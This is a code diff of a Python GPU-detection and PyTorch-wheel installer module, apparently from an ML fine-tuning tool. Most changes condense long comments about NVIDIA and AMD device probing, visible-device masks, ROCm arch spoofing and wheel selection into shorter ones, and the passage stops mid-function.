try:
with open(props_path, encoding = "utf-8") as fh:
@@ -3052,16 +2889,13 @@ def _has_usable_nvidia_gpu() -> bool:
if cvd is not None and cvd.strip() in ("", "-1"):
return False
- # A stale nvidia-smi on PATH exits non-zero listing nothing, so try every
- # candidate: install.ps1 / setup.ps1 also gate the fixed-location fallback
- # on the GPU check failing, not on the PATH lookup missing.
+ # A stale nvidia-smi on PATH lists nothing, so try every candidate (as install.ps1 / setup.ps1 do).
_path_exe = shutil.which("nvidia-smi")
for _candidate in _nvidia_smi_candidates():
if _candidate != _path_exe and not os.path.isfile(_candidate):
continue
if _nvidia_smi_lists_a_gpu(_candidate):
return True
- # Fallback: /proc/driver/nvidia/gpus/ has one subdir per GPU whatever nvidia-smi does.
if sys.platform != "win32":
try:
gpu_dir = "/proc/driver/nvidia/gpus"
@@ -3069,33 +2903,27 @@ def _has_usable_nvidia_gpu() -> bool:
return True
except OSError:
pass
- # Last: the driver's own libraries, which ship without the nvidia-smi utility.
+ # Last: the driver libraries, which ship without nvidia-smi.
inventory = _nvidia_library_inventory()
if inventory is None or not inventory.devices:
return False
if inventory.source != "nvml" or cvd is None:
return True # the CUDA driver rows already honour the mask
- # NVML rows are physical: an explicit index or GPU- UUID mask must name one of them.
- # A mask they cannot name (a MIG UUID) is left usable, as the probes above leave it.
+ # NVML rows are physical: an index or GPU- UUID mask must name one; a MIG UUID is left usable.
tokens = [t.strip().lower() for t in cvd.split(",") if t.strip()]
if not all(t.isdigit() or t.startswith("gpu-") for t in tokens):
return True
return any(row["index"] in tokens or row["uuid"].lower() in tokens for row in inventory.devices)
-# Which probe answered the last _detect_amd_gfx_codes() call: only rocminfo is subject
-# to a visible-device mask, so the Strix reroute needs to know. None when stubbed, which
-# keeps the plain indexing behaviour.
+# Which probe answered last: only rocminfo honours a visible-device mask. None when stubbed.
_LAST_AMD_GFX_PROBE: "str | None" = None
-# How the last _runtime_gfx_target call failed to resolve a target, which the target itself
-# cannot carry. Only the replace-the-stack callers read these; everything else keeps the guess.
+# Why the last _runtime_gfx_target call resolved no target; read only by replace-the-stack callers.
_LAST_HIP_MASK_RESOLVED = True
-# One layer down: _rocr_visible_subset keeps the whole list when the first ordinal names
-# nothing, so a mask exposing no device still reaches HIP as a full list.
+# _rocr_visible_subset keeps the whole list when the first ordinal names nothing.
_LAST_ROCR_MASK_RESOLVED = True
-# Both masks resolved and the probes still could not say WHICH arch was selected, so "no
-# target" must not be read as a detection miss.
+# Masks resolved but the arch is still ambiguous, so "no target" is not a detection miss.
_LAST_GFX_TARGET_AMBIGUOUS = False
@@ -3138,9 +2966,7 @@ def _detect_amd_gfx_codes(
if dedup:
codes = [f"gfx{c}" for c in re.findall(r"gfx([1-9][0-9a-z]{2,3})", text.lower())]
return list(dict.fromkeys(codes))
- # One entry per agent / GPU section; fall back to dedup for flat output. amd-smi
- # names no agent and heads each device with a line-leading "GPU: N" (or "GPU[N]");
- # without that header two cards of one arch collapse and later ordinals read wrong.
+ # One entry per agent / "GPU: N" section, else two cards of one arch collapse and ordinals shift.
_sections = re.split(
r"(?mi)^\s*\*+\s*$\s*agent\s+\d+\s*$|\bagent\s+\d+\b|\bdevice\s*#\s*\d+\b"
r"|^[ \t]*gpu\s*[:\[]\s*\d+",
@@ -3160,7 +2986,6 @@ def _detect_amd_gfx_codes(
probes: list[list[str]] = []
if shutil.which("rocminfo"):
probes.append(["rocminfo"])
- # Gate amd-smi off on Windows w/o a HIP SDK (avoids the UAC/DiskPart prompt).
if shutil.which("amd-smi") and _amd_smi_allowed():
probes.append(["amd-smi", "list"])
probes.append(["amd-smi", "static", "--asic"])
@@ -3172,7 +2997,6 @@ def _detect_amd_gfx_codes(
if ignore_visible_masks:
_strip.update(("ROCR_VISIBLE_DEVICES", "HIP_VISIBLE_DEVICES"))
if _strip & set(os.environ):
- # env=None means "inherit", so drop the variables from an explicit copy.
_env = {
k: v
for k, v in (_env if _env is not None else os.environ).items()
@@ -3200,18 +3024,12 @@ def _detect_amd_gfx_codes(
return []
-# Arches the product name can establish on Linux whose wheels differ from the arch
-# people spoof them to: exactly what _linux_amd_gfx_from_cpuinfo() returns, RDNA 3.5
-# APUs ROCm did not support natively, so HSA_OVERRIDE_GFX_VERSION=11.0.0 became the
-# circulated workaround. The correction below only ever fires for these.
+# RDNA 3.5 APUs commonly spoofed with HSA_OVERRIDE_GFX_VERSION=11.0.0; the correction only fires here.
_HSA_SPOOFABLE_PHYSICAL_GFX: frozenset[str] = frozenset({"gfx1151", "gfx1150", "gfx1152"})
-# Arches the generic pytorch.org ROCm wheels carry, from torch.cuda.get_arch_list() on
-# 2026-08-27. Identical across every generic wheel the pins below resolve (2.10.0+rocm7.0,
-# 2.10.0+rocm7.1, 2.11.0+rocm7.1, 2.11.0+rocm7.2). The rocm6.3 wheel carries a subset,
-# without gfx1150/gfx1151, which the Strix reroute covers. torch 2.13.0+rocm7.1 DOES add
-# gfx1103, so raising the <2.11 cap in _ROCM_TORCH_PKG_SPECS["_default"] means rechecking.
+# From torch.cuda.get_arch_list() on the generic wheels the pins resolve (2.10/2.11, rocm7.0-7.2).
+# torch 2.13+rocm7.1 adds gfx1103, so raising the <2.11 _default cap means rechecking this.
_GENERIC_ROCM_WHEEL_GFX: frozenset[str] = frozenset(
{
"gfx900",
@@ -3272,9 +3090,7 @@ def _amd_hardware_is_corroborated() -> bool:
if _has_rocm_gpu() or _kfd_gfx_targets():
return True
if _is_wsl():
- # WSL enumerates no PCI display device, and neither /dev/dxg (an NVIDIA passthrough creates
- # it too) nor a leftover librocdxg names a vendor, so beside a usable NVIDIA card the
- # runtime must name an agent itself.
+ # /dev/dxg and leftover librocdxg name no vendor, so beside a usable NVIDIA card require an agent.
return _wsl_rocm_runtime_present() and not _has_usable_nvidia_gpu()
return _linux_amd_display_device_present()
@@ -3288,8 +3104,7 @@ def _forced_rocm_route_is_viable() -> bool:
wheels on a pure-AMD host, so requiring rocminfo would answer differently for the same
silicon by whether an NVIDIA card sits beside it.
"""
- # ROCm wheels are x86_64 only, so _ensure_rocm_torch() installs nothing elsewhere and
- # standing the CUDA repair down leaves the venv on whatever broken torch it had.
+ # ROCm wheels are x86_64 only; elsewhere standing CUDA repair down would leave torch broken.
if platform.machine().lower() not in {"x86_64", "amd64"}:
return False
if not _amd_hardware_is_corroborated():
@@ -3300,36 +3115,29 @@ def _forced_rocm_route_is_viable() -> bool:
# whole machine beside the target, which _gfx_route_on_host's gfx906 rule needs.
_inferred = (_infer_linux_amd_gfx_arch() or "").strip().lower().split(":")[0] or None
_target, _, _, _host_codes = _runtime_gfx_target(_inferred)
- # A declared arch REPLACES the inventory, so a stale one hides a Van Gogh sibling
- # (studio/ROCM_RDNA2_APU.md). Probe-resolved stays exempt, as install.sh already has it.
+ # A declared arch replaces the inventory and can hide a Van Gogh sibling; probe-resolved is exempt.
if (
(os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip()
and _target is not None
and any(_gfx in _ROCM_MISCOMPUTING_GFX for _gfx in _physical_amd_gfx_archs())
):
return False
- # A mask HIP cannot resolve exposes no device, so there is nothing to swap to. Above the
- # target test, or the fallback below approves the same host off its inventory.
+ # A mask HIP cannot resolve exposes no device; checked before the target test on purpose.
if not _LAST_HIP_MASK_RESOLVED or not _LAST_ROCR_MASK_RESOLVED or _LAST_GFX_TARGET_AMBIGUOUS:
return False
if _target is not None:
- # Keyed on the SELECTED target: _miscomputing_arch_host above requires EVERY arch to be bad,
- # so a mask selecting the gfx1033 of a pair passed it and the install then declined.
+ # Keyed on the SELECTED target: _miscomputing_arch_host needs every arch bad, a mask can pick one.
if _target in _ROCM_MISCOMPUTING_GFX:
return False
- # Below ROCm 6.0 no generic tag resolves, so _ensure_rocm_torch installs nothing while
- # _ensure_cuda_torch has stood down. Ask its three version-independent arms verbatim.
+ # Below ROCm 6.0 no generic tag resolves; ask _ensure_rocm_torch's version-independent arms.
_raw_ver = _detect_rocm_version()
_ver = _raw_ver or (0, 0)
_declared = (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip()
if _raw_ver is None:
- # An unreadable version is not "ROCm 0.0" to _ensure_rocm_torch: its `ver is None` branch
- # answers differently for gfx1102 / gfx1200 / gfx1201 than the (0, 0) spelling does.
+ # An unreadable version is not (0, 0): the None branch answers differently for gfx1102/1200/1201.
_torch_ran, _torch_imp, _torch_ver, _, _ = _probe_torch_runtime()
_installed_ver = (_torch_ver or "").lower() if (_torch_ran and _torch_imp) else ""
- # Already on a ROCm build: the arms below ask whether _ensure_rocm_torch would install
- # SOMETHING, which after a successful swap is legitimately no, and reading that as "no
- # route" let _ensure_cuda_torch overwrite it (gfx950, unreadable ROCm version).
+ # Already on ROCm: "nothing to install" after a swap must not let _ensure_cuda_torch overwrite it.
if "rocm" in _installed_ver or "hip" in _installed_ver:
return _gfx_route_on_host(_target, _host_codes or [_target])
if (
@@ -3410,16 +3218,11 @@ def _linux_host_only_uncovered_amd(*arch_lists: "list[str]") -> "str | None":
# is gated on a ROCm VERSION and so inactive on a bundled-runtime host reading 0.0; rocm7.0
# is the oldest tag measured to carry them.
_GENERIC_WHEEL_GFX_MIN_ROCM: "dict[str, tuple[int, int]]" = {
- # gfx950 (MI350X / MI355X) dates to ROCm 7.0 and its ISA is genuinely new. It has no
- # _GFX_TO_AMD_INDEX_ARCH entry, so the reroute question still answers no for it: this
- # entry is read by the tag choice, which can pick a generic tag that does carry it.
+ # gfx950 has no _GFX_TO_AMD_INDEX_ARCH entry; this only steers the generic tag choice.
"gfx950": (7, 0),
"gfx1150": (7, 0),
"gfx1151": (7, 0),
- # gfx1102 (Navi 33 / RX 7600): rocm6.3 is the first family whose rocBLAS / hipBLASLt
- # Tensile libraries carry it (rocm6.0-6.2 stop at gfx1030/gfx1100/gfx1101). Without an
- # entry here the tag check reads "support unknown" and leaves an RX 7600 on a wheel that
- # has no kernels for it.
+ # rocm6.3 is the first family whose rocBLAS / hipBLASLt carry gfx1102 (RX 7600).
"gfx1102": (6, 3),
"gfx1200": (6, 4),
"gfx1201": (6, 4),
@@ -3453,10 +3256,7 @@ def _generic_tag_lacks_kernels(gfx: "str | None", ver: "tuple[int, int]") -> boo
_min = _GENERIC_WHEEL_GFX_MIN_ROCM.get(gfx or "")
if _min is None:
return False
- # The tag the version selects, not the version: a 6.3.9 host takes the rocm6.3 wheel.
- # Below the oldest known index nothing resolves, and a wheel older than every tag this
- # installer knows predates the arches those tags were measured to add; reading that as
- # "support unknown" preserves exactly the build that cannot run.
+ # Keyed on the selected tag (6.3.9 -> rocm6.3). Below every known tag, treat as unsupported.
_tag_key = next((k for k in sorted(_ROCM_TORCH_INDEX, reverse = True) if ver >= k), None)
return _tag_key is None or _tag_key < _min
@@ -3489,41 +3289,24 @@ def _runtime_gfx_target(
matter because a runtime-only ROCm install ships neither rocminfo nor amd-smi, and with
no target the callers keep a wheel with no kernels for this GPU.
"""
- # Reset on entry, not only where decided, so a caller never reads a previous host shape's
- # answer: every early return below leaves a mask that resolved or no list to index.
+ # Reset on entry so a caller never reads a previous host shape's answer.
global _LAST_HIP_MASK_RESOLVED, _LAST_ROCR_MASK_RESOLVED, _LAST_GFX_TARGET_AMBIGUOUS
_LAST_HIP_MASK_RESOLVED = True
_LAST_ROCR_MASK_RESOLVED = True
_LAST_GFX_TARGET_AMBIGUOUS = False
- # An empty (or "-1") mask selects NO GPU, deliberately, per _visible_devices_pinned.
- # Decided before any probe runs, because no probe is filtered the way the reroutes need:
- # only ROCR_VISIBLE_DEVICES reaches rocminfo, and amd-smi and KFD sysfs are filtered by
- # nothing. _pick_visible_index would then map the no-GPU mask onto index 0 and reinstall
- # a multi-GB stack for the card the user hid. A mask naming a device is unaffected.
+ # An empty or "-1" mask selects no GPU; decided before probing because amd-smi and KFD ignore
+ # masks, and index 0 would reinstall the stack for a card the user hid.
if _visible_masks_select_no_gpu():
return None, [], None, []
- # An explicit arch outranks the probes, not merely the cases where they say nothing.
- # install.sh, _runtime_target_is_gfx906 and _detect_windows_gfx_arch all read it first;
- # resolving it last here made this the one place the escape hatch could be overruled by
- # the hardware it exists to override. The masks stay above it: hiding every GPU is a
- # statement about this run, while the arch names what to build for. Split on ":" as the
- # probe normalization does, or a copied gcnArchName ("gfx1151:sramecc-:xnack-") keys
- # no routing table.
+ # An explicit arch outranks the probes (as in install.sh); the masks stay above it. Split on ":" so
+ # a copied gcnArchName still keys the routing tables.
_explicit_gfx = (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip().lower().split(":", 1)[0]
if _explicit_gfx:
- # Returning early skips _hsa_spoofed_physical_gfx, so answer the spoof here:
- # HSA_OVERRIDE_GFX_VERSION=11.0.0 is the workaround half these hosts carry, and
- # leaving it set while installing per-arch wheels is #7331 exactly (ROCr keeps
- # handing torch a gfx1100 agent the gfx1151 wheels have no code for). Only when the
- # override names a DIFFERENT arch: naming the arch you spoofed TO is deliberate.
+ # The early return skips the spoof check; only an HSA override naming a different arch is a spoof.
_spoofed = _explicit_gfx if _hsa_spoof_contradicts(_explicit_gfx) else None
- # The arch names what to BUILD for; whether the runtime exposes a device to build it for is
- # separate. Only for a host that ASKED, and only when a mask is set: the two flags below are
- # read by the forced route alone, while the probes cost up to 15s each, so collecting them
- # for every declared-arch host put a minute of timeouts into an ordinary `studio update`.
+ # Only explicit ROCm requests with a mask pay for these probes (up to 15s each).
if _rocm_torch_explicitly_requested() and _visible_devices_pinned():
- # KFD node order IS the order HIP and ROCr index, and answers on runtime-less hosts.
- # ignore_visible_masks because the ordinals below index the list BEFORE the ROCr mask.
+ # KFD node order is HIP/ROCr order; ignore masks since the ordinals index the unmasked list.
_mask_devices = _kfd_gfx_targets() or _detect_amd_gfx_codes(
dedup = False, ignore_visible_masks = True
)
@@ -3539,23 +3322,16 @@ def _runtime_gfx_target(
if physical_gfx is not None:
gfx_devices = [physical_gfx]
if not gfx_devices:
- # The kernel's own topology: one entry per GPU node, in node order.
gfx_devices = _kfd_gfx_targets()
- # With no userland reading to distrust the spoof check above declined, but the
- # runtime is still spoofed and the reroutes install code for the physical arch alone
- # (#7331). amdkfd writes gfx_target_version and ROCr never touches it, so a
- # single-arch kernel reading the override contradicts IS the corroborated spoof.
+ # amdkfd's gfx_target_version is untouched by ROCr, so a single-arch kernel reading that contradicts
+ # the override corroborates the spoof.
if physical_gfx is None and len(set(gfx_devices)) == 1:
_override_arch = _hsa_override_gfx_arch(os.environ.get("HSA_OVERRIDE_GFX_VERSION"))
if _override_arch is not None and _override_arch != gfx_devices[0]:
physical_gfx = gfx_devices[0]
if not gfx_devices and inferred_linux_gfx:
- # Nothing enumerated a device, so #7305's precedence (a runtime-visible arch outranks
- # the product name) has nothing left to protect. One guess is not a device list, so
- # an ordinal past its only entry indexes nothing, while _pick_visible_index's
- # out-of-range rule would answer with the guess and commit a per-arch reinstall to
- # it. Decline, unless the arch was named outright. Probed against a length nothing
- # can exceed, so a real ordinal comes back as itself rather than folding onto 0.
+ # Nothing enumerated a device, so one product-name guess must not absorb an out-of-range ordinal.
+ # Decline unless the arch was named outright.
if not (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip() and _pick_visible_index(
_INDEX_PROBE_LEN, warn = False, masks = _HIP_LAYER_MASKS
):
@@ -3566,19 +3342,12 @@ def _runtime_gfx_target(
f" cannot be read here, so the AMD per-gfx index is left alone.\n"
f" Set UNSLOTH_ROCM_GFX_ARCH to the arch you want wheels for.\n"
)
- # A REJECTION, not a detection miss: without the flag a caller re-reads the arch just
- # declined and stands a working CUDA install down for a swap that is then refused.
+ # A rejection, not a detection miss: callers must not stand down CUDA for a refused swap.
_LAST_HIP_MASK_RESOLVED = False
return None, [], None, []
gfx_devices = [inferred_linux_gfx]
- # The machine as the probes saw it, before the ROCr layer reduces it to a lone survivor.
- # _gfx_route_on_host needs that shape, and "before the ROCr layer" holds only for a probe
- # ROCr does not filter: rocminfo runs on the ROCm user-mode stack, so a mask-selected MI50
- # beside a dGPU would read as single-architecture, the one premise _MIXED_HOST_UNROUTABLE
- # denies, and be granted the rocm6.3 tag -- a persistent downgrade of a shared install on
- # the strength of one session's mask. Ask the whole machine instead. Provenance is read
- # once, up here: the re-probe rewrites it, and the ROCr composition below asks about the
- # probe that produced ``gfx_devices``, not the extra one asked on its behalf.
+ # rocminfo is already ROCr-filtered, so a mask-selected MI50 would look single-arch and be granted
+ # the rocm6.3 downgrade; ask the whole machine. Provenance is read before the re-probe rewrites it.
_probe_source = _LAST_AMD_GFX_PROBE
if _probe_source == "rocminfo" and "ROCR_VISIBLE_DEVICES" in os.environ:
try:
@@ -3588,29 +3357,16 @@ def _runtime_gfx_target(
host_codes = list(dict.fromkeys(_unmasked or gfx_devices))
else:
host_codes = list(dict.fromkeys(gfx_devices))
- # The two mask layers COMPOSE: ROCr filters first and HIP indexes the survivors (AMD's
- # GPU isolation guide: "the ROCR env var is processed first, which then reduces the
- # number of GPUs that HIP can select from"). Only rocminfo is renumbered by ROCr, whenever
- # ROCR_VISIBLE_DEVICES is set and not only when it is the first mask. amd-smi and KFD
- # sysfs are filtered by nothing, so for those the ROCr layer is applied here first --
- # indexing the unfiltered list picks a GPU the runtime never exposes.
+ # Masks compose: ROCr filters first, HIP indexes the survivors. Only rocminfo is ROCr-filtered, so
+ # apply the ROCr layer here for amd-smi and KFD sysfs.
rocr_applied = _probe_source == "rocminfo" and "ROCR_VISIBLE_DEVICES" in os.environ
_unlike_adapters = len(set(gfx_devices)) > 1
if not rocr_applied:
- # amd-smi enumerates in DISCOVERY order over its KFD view, while the masks index
- # HIP/ROCr order from the KFD node id. The two disagree on real hardware (MI350X
- # SPX/NPS1), which is why setup.sh translates through `amd-smi list -e`'s HIP_ID map
- # and declines when it is unavailable or not 1:1. No such map is read here, so on
- # unlike adapters an untranslated ordinal names another card's arch. An UNSET mask is
- # no safer: it still selects HIP ordinal 0, and discovery-order 0 can be the other
- # card. Like adapters are unaffected either way, every ordinal giving the same arch.
+ # amd-smi lists in discovery order, not HIP/ROCr order (they differ on MI350X), and no HIP_ID map is
+ # read here, so on unlike adapters an ordinal can name another card even with no mask set.
_discovery_ordered = _probe_source == "amd-smi"
if _discovery_ordered and _unlike_adapters:
- # Discovery order is unusable, the kernel's topology is not: KFD nodes ARE the
- # order HIP and ROCr index. Reading them swaps an ordering no ordinal fits for one
- # that does, rather than declining the repair the reported shape needs (#9396: a
- # Ryzen APU beside a dGPU, with amd-smi installed). Only on an equal device count
- # -- a KFD list of another length is a different view of the machine.
+ # KFD node order is what HIP/ROCr index, so use it when the device count matches.
_kfd_ordered = _kfd_gfx_targets()
if len(_kfd_ordered) == len(gfx_devices):
gfx_devices = _kfd_ordered
@@ -3619,20 +3375,12 @@ def _runtime_gfx_target(
# Against the list BEFORE the subset, which is what the ROCr ordinals index.
_LAST_ROCR_MASK_RESOLVED = _rocr_layer_mask_names_a_device(len(gfx_devices))
gfx_devices, _rocr_unresolved = _rocr_visible_subset(gfx_devices)
- # A UUID names a device this cannot place. Judged against the list BEFORE the mask
- # was applied: dropping the tokens that did resolve can leave one arch standing and
- # hide the very ambiguity the UUID created, and "0,GPU-..." is a form AMD documents.
+ # A UUID names a device this cannot place; judge against the unmasked list so ambiguity stays visible.
if (_rocr_unresolved or _discovery_ordered) and _unlike_adapters:
- # The message below offers UNSLOTH_ROCM_GFX_ARCH as the way through, so honour it:
- # naming the arch outright is the one reading no ordinal or UUID contradicts. Read
- # from the environment, not inferred_linux_gfx, which also carries the product
- # guess -- weaker than the probe, and not for a host the probe left open.
+ # Honour UNSLOTH_ROCM_GFX_ARCH (offered by the message below); read env, not the product guess.
_named_gfx = (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip().lower()
if _named_gfx:
- # The named arch leads the returned set. Stacked masks can leave a list it is
- # not in (ROCr keeps the gfx1200, the user names the gfx1103), and the caller
- # reads that set to decide which arch lacks kernels, so a target missing from
- # it is selected and then never repaired.
+ # The named arch leads the set, or a target missing from it is selected but never repaired.
return (
_named_gfx,
list(dict.fromkeys([_named_gfx, *gfx_devices])),
@@ -3651,10 +3399,8 @@ def _runtime_gfx_target(
f" selected cannot be read here, so the AMD per-gfx index is left alone.\n"
f" Set UNSLOTH_ROCM_GFX_ARCH to the arch you want wheels for.\n"
)
- # A REJECTION, exactly as the mask branch above, and the message just said so.
_LAST_GFX_TARGET_AMBIGUOUS = True
return None, [], None, host_codes
- # Beside the pick and against the same list, the one place both are known.
if gfx_devices:
_LAST_HIP_MASK_RESOLVED = _hip_layer_mask_names_a_device(len(gfx_devices))
runtime_gfx = (
@@ -3688,9 +3434,7 @@ def _runtime_gfx_target(
and g not in _MIXED_HOST_UNROUTABLE
and not (_strix_first and g in _STRIX_APU_GFX)
]
- # Prefer a discrete card the installer can serve: deposing a routable APU for one no
- # index carries (an RDNA 1 dGPU beside a gfx1103) trades a repairable GPU for nothing.
- # Same shape as _detect_windows_gfx_arch's _withWheels guard.
+ # Only depose a routable APU for a discrete card the installer can serve.
_routable = [g for g in _others if _gfx_has_a_wheel_route(g)]
_candidates = _routable or ([] if _gfx_has_a_wheel_route(runtime_gfx) else _others)
_discrete = _candidates[0] if _candidates else None
@@ -3714,8 +3458,7 @@ def _hsa_override_gfx_arch(value: "str | None") -> "str | None":
"""
if not value:
return None
- # [0-9] rather than str.isdigit()/\d, both of which accept non-ASCII digits
- # ("١١.0.0" would read as 11.0.0 here and be rejected by install.sh's awk).
+ # [0-9], not \d / isdigit(), which accept non-ASCII digits install.sh's awk rejects.
if not re.fullmatch(r"[0-9]+\.[0-9]+\.[0-9]+", value.strip()):
return None
major, minor, step = (int(p) for p in value.strip().split("."))
@@ -3836,22 +3579,19 @@ def _hsa_spoofed_physical_gfx(
f" {source} reports {inferred_gfx} -- {probed} is a spoof of the physical arch.\n"
)
return inferred_gfx
- # Say so rather than leaving "Checking whether..." hanging: on a real gfx1100
- # card in a Ryzen AI Max chassis this is the CORRECT outcome.
+ # On a real gfx1100 card in a Ryzen AI Max chassis this is the correct outcome.
_safe_print(
f" {source} does not corroborate a spoof "
f"({physical or 'no answer'}); keeping {probed}.\n"
)
return None
- # 1. The kernel, which the override cannot reach. Decisive either way: if it
- # answers at all, no weaker source overrules it.
+ # 1. The kernel, which the override cannot reach; decisive whenever it answers.
kfd = _kfd_gfx_targets()
if kfd:
return _confirm(kfd, "KFD topology sysfs")
- # 2. The runtime, asked again without the override and without the visible
- # masks, so a mask cannot hide the second GPU that would veto the correction.
+ # 2. The runtime, re-asked without the override and masks so a hidden second GPU can veto.
_saved_probe = _LAST_AMD_GFX_PROBE
try:
reprobed = _detect_amd_gfx_codes(
@@ -3861,9 +3601,7 @@ def _hsa_spoofed_physical_gfx(
reprobed = []
finally:
_LAST_AMD_GFX_PROBE = _saved_probe
- # A re-probe that still answers `probed` is evidence FOR the probe: the override
- # went away and the name did not move, so it is real silicon. Declining here is
- # why a genuine gfx1100 dGPU in a Ryzen AI Max chassis keeps its own wheels.
+ # Still answering `probed` without the override means real silicon, not a spoof.
return _confirm(list(dict.fromkeys(reprobed)), "rocminfo with HSA_OVERRIDE_GFX_VERSION unset")
@@ -3907,13 +3645,11 @@ def _clear_confirmed_hsa_spoof(physical_gfx: str) -> None:
# First-set-wins order, as _pick_visible_index documents below.
_VISIBLE_DEVICE_MASKS = ("HIP_VISIBLE_DEVICES", "ROCR_VISIBLE_DEVICES", "CUDA_VISIBLE_DEVICES")
-# The HIP layer alone. CUDA_VISIBLE_DEVICES is HIP's alias on AMD, so both name the same
-# layer and stay first-set-wins between themselves; ROCR_VISIBLE_DEVICES is the layer
-# BENEATH and is applied separately by _rocr_visible_subset.
+# CUDA_VISIBLE_DEVICES aliases HIP's layer on AMD; ROCR_VISIBLE_DEVICES is beneath it, see
+# _rocr_visible_subset.
_HIP_LAYER_MASKS = ("HIP_VISIBLE_DEVICES", "CUDA_VISIBLE_DEVICES")
-# A device count no host reaches, for asking what index a mask NAMES rather than which entry
-# of a real list it selects: any ordinal below it resolves to itself, not to the 0 fallback.
+# Larger than any device count, so an ordinal resolves to itself instead of the 0 fallback.
_INDEX_PROBE_LEN = 1 << 20
@@ -3934,15 +3670,13 @@ def _hip_layer_mask_names_a_device(device_count: int) -> bool:
if _val is None:
continue
_val = _val.strip()
- # A no-GPU mask is deliberate, and _visible_masks_select_no_gpu already declines it.
if _val == "" or _val == "-1":
return False
_first = _val.split(",")[0].strip()
try:
return 0 <= int(_first) < device_count
except ValueError:
- # A UUID or junk. AMD documents UUID forms for ROCR_VISIBLE_DEVICES, a different
- # layer, resolved by _rocr_visible_subset.
+ # A UUID or junk; ROCr UUID forms are resolved by _rocr_visible_subset.
return False
return True
@@ -4002,14 +3736,13 @@ def _rocr_visible_subset(gfx_devices: "list[str]") -> "tuple[list[str], bool]":
except ValueError:
_unresolved = True # a UUID: this names a device, but not a position
continue
- # The survivors are a PREFIX: an index terminates the mask when it falls outside the list OR
- # repeats a selection, and appending past either invents a device the runtime never exposes.
+ # Survivors are a prefix: an out-of-range or repeated index ends the mask.
if _idx in _seen or not (0 <= _idx < len(gfx_devices)):
break
_seen.add(_idx)
_kept.append(gfx_devices[_idx])
- # A mask whose FIRST index resolves to nothing keeps the whole list, deliberately, matching
- # _pick_visible_index. _LAST_ROCR_MASK_RESOLVED is the fail-closed half.
+ # First index naming nothing keeps the whole list, matching _pick_visible_index; fail-closed via
+ # _LAST_ROCR_MASK_RESOLVED.
return (_kept or gfx_devices), _unresolved
@@ -4054,11 +3787,11 @@ def _install_bnb_windows_rocm() -> bool:
ROCm build; before 0.50.0 it was CUDA-only, which is why there was none.
"""
_bnb_win_url = _BNB_ROCM_PRERELEASE_URLS.get("win_amd64")
- # 39 MB per call on gfx1151 Windows: --force-reinstall downloads before it can notice the wheel
- # is already installed. The BNB_ROCM_VERSION work below reads the DLL and still runs.
+ # --force-reinstall re-downloads 39 MB before noticing the wheel is installed; BNB_ROCM_VERSION below
+ # still runs.
if _bnb_rocm_install_is_current(_bnb_win_url):
_safe_print(_dim(" bitsandbytes (AMD Windows) is already this build -- keeping it"))
- # Recorded on the skip too, or the manifest would forget and the next update refetch.
+ # Record on skip too, or the next update refetches.
_record_bnb_rocm_provenance()
_ok = True
else:
@@ -4089,8 +3822,7 @@ def _install_bnb_windows_rocm() -> bool:
_BNB_ROCM_PYPI_FALLBACK,
constrain = False,
)
- # Only after an install landed, or two failed installs would record the new asset identity
- # against the old wheel.
+ # Only after an install landed, so a failure never pairs the new asset identity with the old wheel.
if _ok:
_record_bnb_rocm_provenance()
if not _ok:
@@ -4229,8 +3961,7 @@ def _nvidia_compute_sms(exe: str) -> "list[int] | None":
return sms or None
-# PyTorch 2.11's cu126 spans sm_50-90 (Maxwell to Hopper) with no PTX above that. It is
-# the fallback family, so a Kepler or Blackwell card in the mix leaves the host uncovered.
+# torch 2.11 cu126 spans sm_50-90 with no PTX above, so Kepler or Blackwell leaves the host uncovered.
_CU126_SM_RANGE = (50, 90)
@@ -4365,16 +4096,11 @@ def _detect_cuda_torch_index_family(*, known_only: bool = False) -> str | None:
_override_family = os.environ.get("UNSLOTH_TORCH_INDEX_FAMILY", "").strip()
if _override_family:
return _override_family.strip("/")
- # Every candidate until one ANSWERS, the way _has_usable_nvidia_gpu does. Taking the
- # first that merely exists loses to a stale nvidia-smi on PATH: the presence probe
- # walks past it to the working Program Files copy and confirms the GPU, while this one
- # stopped at the stale binary, read no version, and defaulted to cu126. On Blackwell
- # that wheel has no kernels, so a repair would install one the GPU cannot use.
+ # Try every candidate until one answers: a stale nvidia-smi on PATH would default to cu126, which
+ # has no Blackwell kernels.
for exe in _nvidia_smi_usable_candidates():
- # The same predicate the presence probe uses. A stale copy that exits 0 with a
- # parseable banner but lists no GPU must not decide the family: _has_usable_nvidia_gpu
- # walks past it to the working copy, and setup.ps1 keeps the executable that passes
- # Test-NvidiaSmiHasGpu, so accepting it here picks a family off the wrong driver.
+ # Same predicate as the presence probe (and setup.ps1's Test-NvidiaSmiHasGpu): skip copies listing
+ # no GPU.
if not _nvidia_smi_lists_a_gpu(exe):
continue
try:
@@ -4508,8 +4234,7 @@ def _rocm_pin_family_mismatch(pin_url: str, installed_ver: str) -> bool:
same three pin-leaf cases as _ensure_rocm_torch. A same-family pin is NOT a mismatch.
"""
leaf = _torch_index_leaf(pin_url)
- # Pinned ROCm version. The family classifier accepts a major-only rocm<d> leaf too,
- # so parse the minor as optional; a major-only pin compares on the major alone.
+ # A major-only rocm<d> leaf is valid, so the minor is optional.
_pin_rocm = re.match(r"^rocm(\d+)(?:\.(\d+))?", leaf)
_pin_major = int(_pin_rocm.group(1)) if _pin_rocm else None
_pin_ver = (
@@ -4517,77 +4242,53 @@ def _rocm_pin_family_mismatch(pin_url: str, installed_ver: str) -> bool:
if _pin_rocm and _pin_rocm.group(2) is not None
else None
)
- # Installed +rocmX.Y version; a THREE-part +rocmA.B.C tag is the AMD per-arch
- # (repo.amd.com/gfx*) signature vs a two-part pytorch.org wheel.
+ # A three-part +rocmA.B.C tag marks AMD's per-arch wheel; pytorch.org uses two parts.
_inst_rocm = re.search(r"\+rocm(\d+)\.(\d+)", installed_ver)
_inst_ver = (int(_inst_rocm.group(1)), int(_inst_rocm.group(2))) if _inst_rocm else None
_inst_is_perarch = re.search(r"\+rocm\d+\.\d+\.\d+", installed_ver) is not None
- # A ROCm build MUST carry a +rocm tag; an untagged wheel never satisfies a ROCm pin.
_inst_has_rocm = re.search(r"\+rocm", installed_ver) is not None
- # Installed torch RELEASE (before "+") is 2.11+.
_inst_rel = re.match(r"^(\d+)\.(\d+)", installed_ver)
_inst_is_211 = (
